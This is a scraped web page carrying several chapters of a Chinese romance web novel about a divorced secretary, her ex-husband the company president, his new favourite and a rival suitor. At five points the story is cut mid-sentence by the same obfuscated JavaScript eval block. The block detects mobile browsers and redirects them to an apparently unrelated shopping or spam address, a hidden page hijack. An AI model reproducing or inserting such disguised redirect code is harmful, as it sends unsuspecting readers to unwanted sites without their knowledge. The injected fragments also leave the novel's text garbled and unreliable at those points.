许愿清冷的眼眸回转落在她明媚的笑脸上:“自己都照顾不好自己,还要寄希望让男人照顾自己,你以为我是什么,菟丝花?” 她声音淡淡的。 许宁眨着眼睛,她的手扯住傅京礼的衣袖,用很轻缓的力气摇晃,像是在委屈。 傅京礼的眸色很淡,他不动声色拂开许宁的手:“我知道你不是。” 知道许愿不是菟丝花。 这话是对许愿说的。 许愿眉眼清冷,她没有回应,转身想走,却听到男人的手机铃声响起。 是傅爷爷打来的视频电话。 傅京礼顿了下,上前一步拽住许愿的手臂。 下一秒,视频已经接通。 “京礼,我也有一段时间没见你和阿愿了,林嫂做了你和阿愿喜欢吃的饭菜,今晚回趟老宅。” 傅爷爷慈眉善目的,但是眉宇间却是藏着几分戾气的。 许愿顿了下,正要拒绝,傅京礼下一秒就将镜头对准她。 她的身体僵住了。 在傅家,傅爷爷对她极好。 拒绝的话说不出口,许愿只能点头。 傅爷爷笑呵呵道:“你们两个人怎么看着这么僵硬,吵架了?你们这样,我还怎么抱孙子。” 许愿的眼底闪过一丝微不可察的慌意。 手捂在小腹处,傅京礼声音淡然自她头顶响起。 “许愿。” 声音不温柔。 她抬眸,清冷的眸落入傅京礼漆黑沉暗的瞳眸中。 这种时候,是又要她演了啊。 他们没有感情,也并不恩爱。 只有在傅爷爷面前,才会装出这副恩爱夫妻的模样。 许愿敛眉,贴在傅京礼身边,下一秒,他将她搂进了怀中。 肌肤相贴,男人身上沾带着冰冷森雪之意,浅淡的,将她完全笼罩其中。 那种熟悉的气息,让她心尖酸涩。 傅爷爷又提到孙子的事,傅京礼随口敷衍了几句随缘的话。 许愿只觉眼前仿佛蒙上一层薄雾。 随缘啊…… 缘分已经到了,却也只能缘尽于此啊。 “你在想什么?” 傅京礼声音凉薄扰乱她的思绪,傅爷爷的电话已经挂断。 许愿愣了下心神,慌乱之后只剩下镇定。 她推开傅京礼,从容地站定身体。 “我只是在想公事。” 她敷衍地回了句,转身要离开。 傅京礼却扣住她的手,声调平稳:“爷爷想见你,今晚跟我回老宅。” 她没转身,只沉默点头。 离开之际,许愿听到了许宁娇俏的声音:“好羡慕姐姐能跟阿礼一起回老宅,去见爷爷呢。” 随之而来的,是男人清冷有磁性的声音,藏着一丝捉摸不透的温和。 “以后我会带你回老宅,爷爷会喜欢你的。” 门关上了。 许愿眼睫颤了颤。 的确,以后能去傅家老宅的都只会是许宁,再不会是她了。 办公室外拐角就是秘书科,在这里工作的都是傅京礼的秘书。 许愿走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617960|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出去的时候,听到了那些人低声的议论。 “那个许宁也不知道是哪里来的关系户,竟然让傅总这样护着。” “听说她成绩一般,还是凭借着艺术专业考上a大,结果就是这么个艺术生压了我们一头,成了跟沈秘书平起平坐的首席秘书,她也真敢呢。” “许愿坐的那个位置,那可是经过秘书科考试层层选拔,又经过几场上亿的大合同,才转成首席秘书的,她许宁凭什么?” “谁让人家是傅总的小甜心呢,我们可没有那样的手段!” 秘书科的人嗤笑连连。 “许愿也是不争气,长 成那副模样也没能笼络住傅总,还让那么个没用的小白花勾了过去。” 也不知是谁恨铁不成钢地吐槽了句。 许愿脚步顿了下,故意取出手机,抬高声音。 也算是给了这些秘书台阶下,好让她们知道有人要路过,闭上那张惹是生非的嘴。 顿时,秘书科静了下来。 “许经理好。” 众人纷纷打招呼。 许愿微微一笑,离开前才意味深长留下句话。 “她纵然有再多不是,你们也需清楚她背后的人是谁。好不容易爬到这位置,因为几句话祸从口出,你们倒是猜猜笑到最后的会是谁?” 言尽于此,多说无益。 秘书科更静了。 这是在点她们呢。 “许经理就是许经理,要是换作另一位,现在怕是哭着扑进傅总怀里哭鼻子,要赶我们出傅氏了。” 立刻有人白了她一眼:“快闭嘴吧!” 回到项目组,许愿举行了第一场组内会议。 会议进行到高潮阶段,已经定好下一步有关合作的目标,会议室的大门倏然被人推开了。 就这样,完全不懂规矩地推开。 会议中止。 所有人的目光汇聚到门口那人身上。 来人正是大家谣言中傅京礼的“新宠”,凭借身份上位的许秘书许宁。 许愿镇定地关掉投影,漫不经心掀眉,目光落在守在会议室门外的保安身上。 “谁让你们把人放进来的,需要我提醒你们几位这是项目组的会议吗?还是说,如果有什么机密泄露出去,几位能承担赔偿?” 第7章 适可而止 傅氏的机密被泄露,那赔偿的金额必定庞大。 保安身体僵硬,回过神后就要将许宁赶出会议室。 许宁却先一步跑进会议室,跑着冲到许愿面前。 她眼睛睁得很大,她有一双黑白分明的猫瞳,那样一双眼睛瞪圆了的时候总给人一种单纯无害的错觉。 “姐姐,你不能这么对我。” 仿佛许愿犯了天大的错误。 姐姐? 可笑,她算许宁哪门子姐姐? 也亏得她能做出这副无辜的表情,可怜兮兮地叫她姐姐。 “许宁,我母亲只有我一个孩子,你这声姐姐我可不配。” 许愿脸色淡淡:“今天是项目组的讨论会议,许秘书没有重要的事还请先离开,不要打扰我们工作。” “姐姐,我不是要来打扰你工作的,我来这里只是想跟你道声歉!” 许宁不肯走,一副义正词严的模样。 许愿神情仍然冷淡。 许宁抿了下唇,闪烁其词开口:“我不是故意和阿礼一起的,如果我早知道你和阿礼的关系……我……啊,对不起!我不是故意说这些的,我只是想来道歉!我是诚心的!” 诚心? 倒像是诚心来给她添堵的。 这段话无疑是在告诉现场众人,她和傅京礼曾经不清不楚,而她在这场感情角逐中被驱逐流放到项目组,而她许宁,则是成了新宠。 傅氏本就有人谣传许愿跟傅京礼关系暧昧,经由许宁这番支支吾吾的话,旁人看她的眼神更怪了。 许愿气笑了。 真是好手段,不仅踩了自己的脸,还抬高了她胜利者的身份。 什么小白花,倒是一朵吃人不眨眼的食人花! “许宁。” 许愿轻描淡写地掀眉,那双清冷的桃花眼中闪烁的是疏离淡漠的寒意。 她站在台前,面色平静目光冷淡。 透出像是上位者一般的蔑视冷芒。 在两人之间形成难以言喻的屏障。 让许宁在这一刻突兀的感觉到自己和许愿的差距。 “你真的不知道吗?你那个疼你宠你、把你捧在心头只想为你找个好归宿的父亲,难道不知情吗?” 许愿言辞犀利,语带嘲讽。 仿佛是许宁再演下去,就要揭穿她私生女的身份。 许宁愣了下,目光触及门外男人的身影,下一秒表情果然慌了乱了。 她手足无措,眼眶整个变得通红。 眼底蓄满泪水,声音哽咽示弱退让:“我真的只是想来道歉,我没有恶意的,你能不能不要一直对我恶语相向……” “我们都在傅氏工作,我只是不想让阿礼难做。姐姐,你真的不能退一步吗……” 许愿声音冰冷:“许秘书难道不知道在公司只有傅总没有‘阿礼’,你这样只会让人以为傅总公私不分,这才是真的让他难做。” “够了。” 倏然,男人低沉的声音自门外传入。 只一瞬,许愿便清楚许宁刚才那楚楚可怜善解人意的模样是演给谁看的。 “许愿,你适可而止。” 是许宁主动来挑衅,最后需要适可而止的,却是她许愿。 多么可笑? “傅总,这里是七层的项目组,不是顶层的总裁办和秘书科。” 她在项目组不曾主动招惹许宁,倒是许宁私自离开秘书科,风风火火地闯进会议室发疯。 许愿把玩着手中的u盘,唇角笑意淡然。 “还是说,傅总有什么需要许秘书交代的工作。” 她像是给了许宁一个台阶下。 许宁立刻抓住这台阶。 “对,就是阿礼让我来交代工作的!” 她还真是见坑就跳。 “那么请问,许秘书要来找我交代什么工作?”许愿轻笑一声。 她极少笑,此刻那张清冷到仿若覆上一层冰雪的面容上,多了几分明艳之意。 她倚靠在一旁的窗边,窗棂处灰色的窗帘被微风吹拂飘动,映衬得她在柔和灯光下愈发曼妙多姿。 她开口:“是要告诉我和青州药业的合作事宜,还是永安建筑的合作?” 许宁愣了片刻,支支吾吾开口:“都有吧。” 许愿脸上的笑意愈发冷了。 “国内从来没有过青州药业这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617961|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公司,而永安建筑早年与傅氏有过龌龊,是敌非友,更不可能再有合作。” “许秘书,连傅氏保安都清楚的事,你都不知道?” 许愿语气平缓的疑问句,藏匿着无尽的嘲讽。 仿佛将许宁的脸面投掷于地面踩着辱着。 “作为傅总的首席秘书,却连最基本的资料都不清楚,许秘书有这个时间还是好好进修,不必着重于跟什么姐姐妹妹笼络感情。” 许愿嘲道:“我不愿当你的姐姐,旁人也不愿做你的妹妹,希望许秘书心里清楚。” 她的话语不留情面的直白。 犹如一耳光甩到许宁的脸上,让她知道什么是痛,什么才是真正的“适可而止”。 话落,许愿目光落在傅京礼身上。 四目相对。 男人瞳眸幽暗深沉,遍布寒意。 她收回目光微微敛眉:“今天的会议因为某些原因暂停,我还有其他事情需要处理,傅总,您随意。” 她微微颔首,不再看男人的表情,只是扫了眼项目组的众人,才转身离去。 项目组众人纷纷像是得到暗示一般,匆匆站起身离开。 偌大的会议室,竟只剩傅京礼与许宁。 许宁委屈地红着眼睛,声音哽咽:“阿礼,我真的只是想道歉,我没有坏心的,姐姐是不是误会我了……” 傅京礼眸光微闪,上前一步抹去她眼角滑落的泪水。 动作温柔。 “不必理会她,往后你和她也不会有交集。” 男人顿了下,还是提了句:“没事不用来项目组,跟项目组有关的工作,可以让沈略跟进。” 许宁“唔”了一声,才点了下头。 …… 许愿出了会议室,还没回到自己的办公室,就见不远处站着一位西装革履的外送员。 外送员身形高大俊朗有型,见到许愿,立刻笑着走了过来。 “请问您是许愿小姐吗?这是盛二少送给您的蓝色妖姬和项链。” 听到这话,跟在许愿身后的同事目光“唰唰”地看了过去。 蓝色妖姬很大一捧,在明亮柔和的灯光下,仿佛闪烁着微弱的光芒。 第8章 无声的反击 外送员的另一只手上是一个红木制成的镂空首饰盒,雕刻着凤凰图案的花纹,明媚精细,奢华明丽。 木盒内是一串红玛瑙项链,那鲜血一般的红明艳刺目,一眼看去便再也移不开目光。 木盒内放置着一张便签卡片,上面龙飞凤舞地写了一句话。 【愿你如冬日初升的朝阳,热烈明艳,光芒万丈。】 落款是“盛景炎”。 许愿顿住。 她的目光没有被珠宝和花朵迷住,只是落在那张陪衬的便签纸上,仿佛这张纸才是真正的主角。 盛景炎没有看错,许愿此人并非是清冷如冰雪般的人物。 她内心藏着热烈赤诚的情意,她不是高高在上藏于雪山之巅不可被人接近的冰雪,更不是华贵不可触碰的雪莲。 她是骄傲的,明媚的,宛如烈日骄阳,是那种明艳到让人感受到沉沉情意的人。 只可惜。 在她嫁给傅京礼后,她就像是被折断翅膀的囚鸟,戴上厚重的锁链囚困于一隅天地,失了光芒。 纵然再如何骄傲,也找不回曾经的初心了。 许愿心间微颤。 那张便签纸被她拿在手中,她细细的打量,唇角隐隐勾出一抹浅淡的笑意。 项目组的同事将她团团围住,七嘴八舌地激动八卦着。 “许经理,这是谁送给你的礼物啊,是不是有人在追求你啊?” “哇!是不是盛二少!我听说盛二少最近一直想跟你继续合作呢!” “这条红玛瑙项链,据说在半个月前的拍卖会上拍出了百万的价格,盛二少未免太大方了!” 许愿微微敛眉,正想拒绝,让外送员带走东西。 然而下一秒,她就撞进了傅京礼那双深邃的眸子里。 傅京礼离开会议室,许宁紧跟在他身后寸步不离。 远远便看到一群人聚在一起,外送员手中的礼盒首饰太显眼,一眼看去便移不开。 “许愿,公司不是可以随便玩乐的地方。” 傅京礼那双踱步向前,目光冷淡地扫过众人。 众人纷纷散开,不敢继续逗留。 外送员尴尬地举着东西站在原地。 许愿长指摩挲着手中的卡片便签纸,唇角的笑意并未收起,只微微抬眸,目光重新落到傅京礼那双身上,轻飘飘扫了眼不敢吱声的许宁方才开口。 “傅总的意思是不许在公司内收礼物吗?那我出去就是。” 她本不想接受盛景炎的礼物。 她只想收到那张卡片,其他东西尽数退回去,也好让盛景炎清楚她的态度。 而傅京礼的突然出现,她便起了叛逆心理。 她就是要收东西收礼物。 许愿收了盛景炎的东西,人还没到项目组,就接到了盛景炎的电话。 “礼物还喜欢吗?” 盛景炎的声音懒懒散散的。 “银行卡账号发我,钱我会打给你。”许愿声音淡淡,打断了男人的更多臆想。 这是要把首饰和花的钱全都打给他? 有意思,有意思,他还没见过这么有趣的女人。 对面显然怔了下,片刻后“哈”了一声笑道:“许愿,你这样我是不是可以理解为我选的东西很合你心意?这样说来,我们倒是很有默契。” “钱不用转给我。” 盛景炎声音有点吊儿郎当的。 “既然你不接受这是追求者送的礼物,那不如就把这看作是感谢许小姐帮我扳倒盛三的谢礼,这你总不该继续推脱了吧?” “送出去的东西还要被退回,许小姐这样让我很丢脸啊。” 他笑眯眯的,声音里面明显带着笑意。 许愿没再言语,挂断了盛景炎的电话。 目光重新落到那条红玛瑙项链上,许愿的掌心微微合拢。 那捧花真的很大,但抱在怀中满满的都是馥郁花香。 她从未收到过任何花束。 上学时有人追求她,给她送过各式各样的花,她都没有收下过,嫁给傅京礼后她委婉提到过想要收一束花。 那时的男人是如何回她的? 【喜欢花,就自己去买。】 【许愿,你不是个小女人了。】 想起那些话,许愿微微敛眉,唇角淡淡的笑意中带着苦涩。 没想到第一次收到花,还是在离婚后别的男人送的。 许愿抱着花,步伐沉重地回到傅氏,到了七层才下电梯,便见傅京礼坐在拐角的软椅上接听电话,似是有紧急要务。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617962|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听到电梯门开的声音,他抬眸随意扫了眼,深沉的黑眸怔了一瞬,却也不过片刻,便公事公办对她点了下头。 在一起三年的默契,让许愿走过去接过了傅京礼手中的电话。 随意扫了眼来电号码,许愿便带着温和笑意开口,顺着他的话不着痕迹地谈着公事。 她坐在傅京礼身侧,怀中还抱着那束蓝色妖姬。 她肌肤白皙,这样贴着花束,更是映衬得那张脸清冷孤傲。 傅京礼敛眉,收回目光,拿起桌上一份文件翻阅,耳中却听着她与麦伦斯的交谈。 两人坐得这 样近,好像从未有过任何隔阂。 许宁从楼上下来时,看到的就是这样的一幕。 她咬着下唇,看着这一幕,内心涌上无尽的危机感。 纵然傅京礼说她与许愿不同。 可她清楚,三年时间,许愿和傅京礼的默契即便不是融入骨血,却也已然紧紧相依。 就像此刻,她分明站在一旁,却好像与两人之间隔着遥远的距离。 贴不近,也迈不进去。 许宁眸色微深,攥紧了手心。 许愿挂断电话后,跟傅京礼简短解释了麦伦斯此次电话来意。 说明缘由,傅京礼略一点头,目光落在那束花上,淡淡道:“你收了盛景炎的东西。” 顿了下,他的目光触及礼盒内的红色玛瑙项链。 那样的红,红得耀眼红得张扬红得热烈。 而他眼中的许愿,一直都是清冷的孤傲的低调的。 这不是她会喜欢的颜色。 “你不是最讨厌红色?为什么还收下这份礼物。”男人声线冷淡。 最讨厌红色? 她明明最喜欢的就是红色。 只是从前,她为了贴合男人喜爱的蓝色,所以才将自己的配饰也换成了蓝色。 现在两人离婚了,她总要活出自我。 她低头轻嗅着那捧花,声音含笑开口。 “如果你平时有留意我的话,就该知道我的衣柜内很多红裙。我最喜欢的,一直都是红色。” 她笑容明媚地取出那串红玛瑙项链,在男人的注视下,慢条斯理地自行戴上。 像是在对男人无声的反击。 第9章 它不适合你 许愿是真的很漂亮。 五官精致、眉眼靓丽明艳,带着脆弱的清冷虚无感。 此刻被这串红色的红玛瑙项链,映衬得眉眼愈发盈润。 她唇角含笑,不似往日那副清冷模样,多了几分洒脱。 “我戴上这串项链,漂亮吗?” 许愿纤细的长指勾弄着脖颈上沉重昂贵的玛瑙石,指尖摩挲着轻声问他。 男人眸光幽暗。 “许愿,它不适合你。” 不适合吗? 那什么才适合她? 许愿唇角笑意愈发大了,她眼尾弯弯地望着他。 “无所谓了,没什么合适不合适的,我自己喜欢就好。” 这话说的是喜欢这串红玛瑙项链,可听在男人耳中,却像是喜欢盛景炎。 她取出手机对准自己拍了张照片。 许是距离得有些近,照片有些失真。 但明明是原相机拍摄出的照片,仍然漂亮得像是画中人,被那串红玛瑙项链映衬得华贵明丽。 她当着傅京礼的面将这张照片发到朋友圈,没有配任何文案。 盛景炎是个聪明人,不会这个时候站出来坏她名声。 这条朋友圈让看到的人想入非非,有人会认为她被人追求,有人则会认为是傅京礼送的礼物。 譬如……傅老爷子。 许愿关掉手机,在男人手机响起时轻巧站起身。 她的长指拨弄着脖颈上的红色玛瑙项链,那双清冷的眸子竟是带着几分兴味。 男人不明她的这个眼神是什么意思。 打来电话的是傅老爷子。 傅京礼顿了一瞬,莫名有种不祥的预感。 接通电话的一瞬,便听到傅老爷子苍老却仍浑厚的声音传来。 “阿礼,你眼光不错啊!我早就觉得阿愿一直打扮得太素太淡雅了,她这长相打扮得明艳张扬点更是漂亮。不容易啊,三年了,你小子终于知道疼人了!” “干得不错!” “……” 傅京礼哑口无言。 傅老爷子夸奖的话不要钱似的往外蹦,傅京礼却只余沉默。 他要如何解释这份“沉重”“昂贵”“明艳”的礼物,不是出自他手? 没办法解释,在老爷子眼中,他们两个人还没离婚,还是夫妻关系。 许愿性子执拗,做事一向有章法,不会轻易收其他男人的礼物。 所以这份礼物,现在只能是他“送”的。 不仅老爷子以为项链是他送的,就连两人共同的好友宋野,也在许愿评论区发了条似笑非笑的表情,明摆着误会是他送的。 挺好笑的。 傅京礼眉宇间神情很淡,面上表情不似发怒,看向许愿时,只见她眼角含笑,倒像是带着几分挑衅。 刚才的朋友圈,就像是她故意的反击。 反击? 他觉得这个词用得不太准确,许愿不像是这么幼稚的人。 离了婚,她倒是显露出几分朝气,涌动着鲜活的气息。 “姐姐真的是很有魅力,不管到哪里都最受男人欢迎了,真是和念书时一样。” 这时,许宁的声音传了来。 她将目光落在许愿身上,那双无害的眼神都跟着闪了闪。 傅京礼瞥了她一眼,声音很淡。 “她确实很受欢迎。” 许宁笑意都跟着僵了下。 “谢谢夸奖,没什么事的话,就不打扰二位了。” 落下这话,许愿直接离开了。 回去忙了一下工作,很快就到了下班时间。 因为要去老宅,许愿早一些到了傅氏的地下停车场。 “等了你好久,终于来了。” 刚进停车场,许愿就听见一道熟悉的声音。 男人一早就拎了把椅子,跷着腿坐在上面,一旁摆着折叠长桌,上面摆满了点心茶水。 仔细看,还能看到有杯茶水已经空了,也不知他等了多久。 “盛景炎,我看你是真的很闲。” 许愿眼皮直跳。 公司本就在传她和盛景炎的关系,偏这人不知收敛,竟然跑到这里来了。 “在这里吃下午茶?怎么?你是很喜欢带汽车尾气的下午茶?口味倒是独特。” 谁会离谱到在地下停车场享用下午茶,他不离谱谁离谱? “还不是为了等许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617963|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经理?” 盛景炎笑眯眯地看她,那张邪肆的脸上带着明显的笑意。 “没想到啊,许经理竟然这么喜欢我送的礼物。不仅收了我的礼物,还戴在脖子上发了朋友圈,真是让我好感动。” 他站起身,两手交叠舒展片刻,这才站起身,步履从容却缓慢地走到许愿面前。 弯腰,逼近她。 修长宽厚的手指抚过她白皙性感的颈项,动作轻缓,像是撩拨。 许愿拍掉他的手,后退一步。 盛景炎喉间溢出一丝笑意,长指放在鼻端嗅了下:“香的。” “果然,我的眼光还是很不错的,许经理这样的人,就该打扮得漂漂亮亮的。” 他开口赞叹。 “知道吗?戴上这条项链 的你像是坠入深海漩涡的一条红色耀眼的美人鱼,在幽蓝的深海之中都绽放着无与伦比的光芒。” “美中不足的是,这次不是由我为你戴上这条项链。” 他叹了口气,像是真的在惋惜。 “所以,许经理能给我这个机会吗?” 他话音才落,许愿才淡淡地开口:“盛二少,演够了吗,你这样真的很像变态。” 盛景炎这人从来都不简单,不然也不会在盛家蛰伏这么多年。 其实就算没有她的助力,他也能摆平盛三,不过是早晚的事,她这次只是给了他扳倒盛三的契机。 而盛三此人更不会真的因为什么“美色”,特意浪费时间来这里堵她。 他来这里,如果不是想故意挑衅,那就是有利可图了。 盛景炎笑意愈深。 “以前我觉得形容漂亮尖锐的女人是带刺的玫瑰,我觉得庸俗可笑,不过现在见到你,我才觉得那些人没有说错。” “要不是我把自己摊开让你看清楚,怕是真要被许经理身上的尖刺弄伤了。” 许愿淡淡瞥他一眼,随手拿起一杯带盖的冰饮料喝了口。 “谢谢,不过我不认为这是夸奖。” 被比作是带刺的玫瑰,她怎么可能喜欢? “盛二少,有事说事,没事的话不要打扰我。” 她直戳重点,没有心情在这里浪费时间。 第10章 挖墙脚 见她像是要炸毛,不知怎么的,盛景炎莫名想到在野外流浪的黑足猫,野性十足却又攻击力极强。 “看看这份资料,不知道许经理有没有兴趣。” 盛景炎将一份资料递交到许愿的手中。 只看了一眼,许愿便抬了眸,男人歪了下头示意她继续看。 许愿垂眸,内心却被男人这次的创新震撼。 他竟然想进行全息方向的研究,这个方向的研究是很费钱的。 “盛总,如果我没记错,其实六年前国外就已经有更专业的人员进行此项研究,但至今为止也只研究出3d投影。” “许经理难道不想创新吗?”盛景炎问。 “创新是一回事,有自知之明是另一回事。” “敢问盛总有特定的研究团队吗?” “盛总知道全息的代码算法如何解码吗?” “盛总知道如何打破国外团队固有思想研究出的3d代码吗?” “盛总有想好要从什么地方入手吗?” 许愿字字句句,都将尖锐的问题抛到盛景炎面前,几乎是逼问。 盛景炎扬眉,他手中是另一份资料,此刻轻轻敲打着资料记录的扉页。 他低笑道:“许经理,仅仅凭借短短几页资料,就能提出如此成熟且尖锐的问题,不愧是许经理。” “果然,许经理这样的人才很适合加入我的团队。” 许愿眼神淡漠:“我不会因为几句恭维的话,就陪盛二少你发疯的。” “来找我之前,盛二少还是先想一想,如果你的全息世界真的研究出来,因为进入全息游戏而导致自己大脑中枢受损或者被困在全息世界无法正确登出这种情况的发生。” “我先前提出的不过是小打小闹,最严重的是大脑神经受损和无法登出。” “解决不了这个问题,就别想研究全息了。” 许愿将资料丢进盛景炎怀中。 盛景炎完全不生气,倒是脸上挂着无所谓的表情,眉宇微微挑起。 “其实傅氏内部发生的事我多少都知道,许经理真的不打算离开傅氏,另谋出路?” 盛景炎笑着抛出橄榄枝。 “如果是许经理的话,我一定会安排一个让你满意的职位。” 盛景炎的确欣赏许愿,他既然肯放出这话,就说明他已经打算好给她什么样的职位。 今天他不单是来谈合作的,更是来挖人的。 那价值百万的红玛瑙项链,说是他追求人送的礼物,倒不如说是讨好收买她的礼物。 “我不会在这种时候离开傅氏。” 许愿直截了当:“她才来傅氏我就离职,倒显得我像是落荒而逃。” 盛景炎还想说什么,倏然听到一道娇软温柔的声音在不远处传来。 “姐姐,你和盛二少约好了在这里见面吗?我和阿礼找你找了好久呢。” 许宁笑容甜甜地站在傅京礼身边。 男人眉眼淡漠疏离,眸光轻轻掠过她,也只是扫了一眼,最终目光落到盛景炎身上。 “盛总,挖墙脚挖到傅氏,恐怕不太好。”傅京礼声音冷淡。 盛景炎的笑意却更深了些,他慢悠悠道:“我能有什么坏心思呢?不过是不忍心看许经理这样的人才被埋没罢了。像许经理这样的人才,如果肯来我的公司,我怎么也要以礼相待才是。” 他意味深长道:“当然,也不排除我对许经理存着其他心思,想追求许经理,毕竟近水楼台,才能先得到许经理这高高在上的月呢。” 挖墙脚挖到傅京礼眼皮底下,盛景炎不以为耻,反以为荣。 许宁眨着眼睛在一旁小声开口:“其实姐姐去盛二少那儿,也算是个好的选择呢,这样也能开始新生活了。” 盛景炎一直都没注意她。 此刻突然听到许宁说话,他愣了下,悠悠的目光落到她脸上。 看似柔和甜美的长相,眼角一直带着笑意,清纯的小白花长相。 若是在以前,遇到这样的女人,他或许会生出心思逗弄逗弄。 但现在经了许愿这种漂亮聪慧的女人,只觉许宁这种小白花实在寡淡无味,且愚蠢。 “许经理这样的人,的确是到什么地方都能有新的开始,倒是这位新上任的许秘书……呵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617964|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” 盛景炎喉间溢出轻笑,这样的笑带着几许嘲意。 “傅总年纪不大,眼睛倒是不怎么好使。” 明显是嘲傅京礼为了许宁这样的女人放弃许愿,是一个错误的选择。 盛景炎嗤笑一声:“有空去看看眼科,我在a市第一人民医院有熟人。” 话落,盛景炎未再停留,只眉眼含笑地朝许愿看了一眼。 “许经理,再会。” 盛景炎离开了。 他的助理立刻收拾好了留在原地的茶水点心和桌椅。 许是随了盛景炎的豹子胆,助理还当着傅京礼的面,塞给许愿一份资料。 等人离开后,许宁方才语气艳羡道:“姐姐的运气可真好,所有人都欣赏姐姐呢。” 许愿笑了:“羡慕吗?” 许宁愣了下,笑容有些僵硬。 “那的确是你该羡慕的。” 许愿毫不遮掩地开口,这直白的语气,倒让许宁目光都变得有些许呆滞。 许愿也不管她是不是真的反应不过来,兀自打开副驾驶座,习惯性地坐了上去。 “姐姐,那里……那里已经是我的位置了。” 许愿的动作顿住。 “阿礼答应我的,以后他的副驾驶座,只能我来坐。” 许宁一副天真烂漫的模样。 这么可笑的事,傅京礼竟然也由着她了? 偏爱。 这是肆无忌惮的偏爱。 果然啊,真爱和她这种不带半分真情的前妻待遇,当真是天壤之别。 许愿退出副驾,坐在了后座上。 等大家都上车后,许愿淡淡开口:“怎么,你想把许宁也带回老宅见爷爷?” “顺路送她回家,再回老宅。” 顺路? 顺的哪门子路? 一个西区一个东区,方向都不对。 许愿淡淡地嗯了一声,掩住内心涌上的酸涩感,她偏头看向窗外。 恍恍惚惚看到川流不息的人流,匆匆而行的路人,仿佛已经看到她即将和傅京礼渐行渐远的人生。 第11章 已经脏了 许愿目光触及窗外,将目光收回到车内,终于发现了不对的地方。 她留下的东西已经不见了。 跟傅京礼婚后这三年,因为傅老爷子的关系,她经常坐傅京礼的车,时间久了会在车里留下她的痕迹。 她留在这里的玩偶摆件,茉莉花味的香薰全都不见了。 就像她的人一样,被突然地剔除他的人生。 似是察觉到许愿的目光,许宁语气有些可惜地开口。 “姐姐,对不起啊,这车上其实本来有不少你的东西呢,但是我不喜欢茉莉花味的香薰,所以就让阿礼换掉了。” “那个玩偶……嗯,那个玩偶也让我不小心弄脏了。实在没办法,只能丢掉了。” “希望姐姐不要介意,毕竟阿礼也不能留一个已经脏掉的娃娃对不对。” 许宁讨厌茉莉花味,就换掉了这个味道的香薰,换上她喜欢的。 何尝不是傅京礼此刻对她做的事? 至于那个被弄脏的玩偶……又何尝不是在暗喻她? 因为她跟盛景炎接触,所以已经脏掉了,才会被傅京礼换掉? 许宁嘲的不就是她? 许愿面上带着微笑,一言不发,只偏头看向窗外,并不理会许宁。 许宁委屈地哼了一声。 直到到了许家,许宁笑着贴在傅京礼的身边道别下车。 即将关上车门时,许愿声音清冷地开口。 “脏了这么多东西,想必这辆车也已经脏了,挑个时间卖了丢了都好,不必再留了。” 许宁的身体整个僵住了。 傅京礼的目光也缓缓落到许愿身上,似是不理解她为何突然这么说。 这辆车,其实傅京礼已经开习惯了。 这车,是许愿在婚后半年送给傅京礼的生日礼物。 是她完成一份合同拿到那笔奖金后,为男人挑选的婚后礼物,一辆价值百万的卡宴。 那笔大单她所有的奖金,全都花在了这辆车上。 知道男人喜欢蓝色灰色,车子都是特地挑选的深灰色。 为了不让傅老爷子怀疑两人感情,这辆车傅京礼一开就是近三年之久。 许愿突然开口的话,让许宁愣住了。 傅京礼手掌摩挲着方向盘久久未言,一时沉默。 